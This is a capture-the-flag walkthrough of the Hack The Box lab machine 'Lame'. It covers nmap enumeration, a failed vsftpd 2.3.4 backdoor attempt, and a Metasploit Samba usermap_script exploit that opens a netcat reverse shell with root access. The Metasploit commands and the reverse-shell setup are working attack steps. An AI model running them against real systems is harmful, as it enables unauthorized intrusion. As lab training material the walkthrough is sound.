Lame

Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retire

Getting User

Starting with an NMAP scan against the host.

I was noticing a LOT of latency issues while running my NMAP scan on the VIP+, so swapped over to a normal VIP server and the connection was significantly better.

┌──(ghost㉿htb-ops)-[~/htb/labs/lame]
└─$ sudo nmap -sS -Pn -p- 10.10.10.3 -oA scan
[sudo] password for ghost: 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 11:54 CDT
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.77% done; ETC: 11:57 (0:02:26 remaining)
Nmap scan report for 10.10.10.3
Host is up (0.075s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

Nmap done: 1 IP address (1 host up) scanned in 154.75 seconds

Seeing the following ports open, I am curious if this might be a Windows host:

  • Port 139: SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.

  • Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.

Reference; https://www.varonis.com/blog/smb-port

Although, I find it interesting that FTP / (SFTP|SSH) is open which isn't generally expected on a Windows host.

Performing additional enumeration against the host and its open ports, it looks like FTP is open with anonymous login enabled:

┌──(ghost㉿htb-ops)-[~/htb/labs/lame]
└─$ sudo nmap -sC -Pn -p 21,22,139,445,3632 10.10.10.3 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 12:02 CDT
Nmap scan report for 10.10.10.3
Host is up (0.084s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn
445/tcp  open  ��a�2V
3632/tcp open  distccd

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-04-27T12:39:45-04:00
|_clock-skew: mean: 1h37m03s, deviation: 2h49m45s, median: -22m59s

Nmap done: 1 IP address (1 host up) scanned in 41.46 seconds

Attempted to access the system with:

I was able to sign in, but there didn't seem to be any files readily available for transfer.

Attempted to check smb:

┌──(ghost㉿htb-ops)-[~/htb/labs/lame]
└─$ smbclient 10.10.10.3   
Password for [WORKGROUP\ghost]:

10.10.10.3: Not enough '\' characters in service

That's also when I remembered in the About section, it mentions the use of metasploit. I think it's about time to dive in there and see what exploits might be available for the available services.

I'm thinking the exploit will be for SMB, since previous attacks like WannaCry and EternalBlue both exploited older protocols, but that was SMBv1 and it looks like the server is running SMBv2.

Went ahead and checked Exploit-DB and found the following exploit for vsFTP version 2.3.4:

Bringing up metasploit:

┌──(ghost㉿htb-ops)-[~/htb/labs/lame]
└─$ msfconsole

We need to now setup the payload for testing:

msf6 > search vsftpd

We see 2 exploits, we'll use exploit 1, we can then type either:

use 1

or

use exploit/unix/ftp/vsftpd_234_backdoor 

Once the payload is selected, we need to see what options might need to be set. We can then run show options.

We need to set the RHOSTS value, this can be done by typing set RHOSTS <value> where <value> is our victim machine.

If you run show options after setting your RHOSTS, we should then see that value in our options:

We can then run our exploit by typing either: run exploit

Unfortunately this did not seem to be the correct service to attempt to exploit since it pauses when trying to pull the password for the account as we see below:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

Re-visiting the available services from our previous scan, there may also be a chance that the SMB server is vulnerable to an exploit.

Searching exploit db for samba 3.0.20 we see there is an exploit from 2007 that may work:

Time to try and load this into Metasploit.

I've already found the name of payload, you can type use exploit/multi/samba/usermap_script to change payloads

Reviewing the options we get a few different choices than our previous payload:

Payload options (cmd/unix/reverse_netcat):

Update the RHOSTS value like we did before:

set RHOSTS 10.10.10.3

We can then try and run our exploit.

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.37.141:4444 
[*] Exploit completed, but no session was created.

It failed. I've run into this issue a while back, and the key thing to note is your LHOST value. I was running from my network, not the VPN network.

notice how the handler started on a 192.168.0.1/24 and not on the HTB VPN network

Set your CHOST to your VPN IP, and run the exploit again:

msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.6
LHOST => 10.10.16.6
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.16.6:4444 
[*] Command shell session 1 opened (10.10.16.6:4444 -> 10.10.10.3:33640) at 2024-04-27 14:10:21 -0500

We now have our reverse shell. From here you can grab the flags for root / user as needed.

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.16.6:4444 
[*] Command shell session 1 opened (10.10.16.6:4444 -> 10.10.10.3:33640) at 2024-04-27 14:10:21 -0500

whoami 
root

Last updated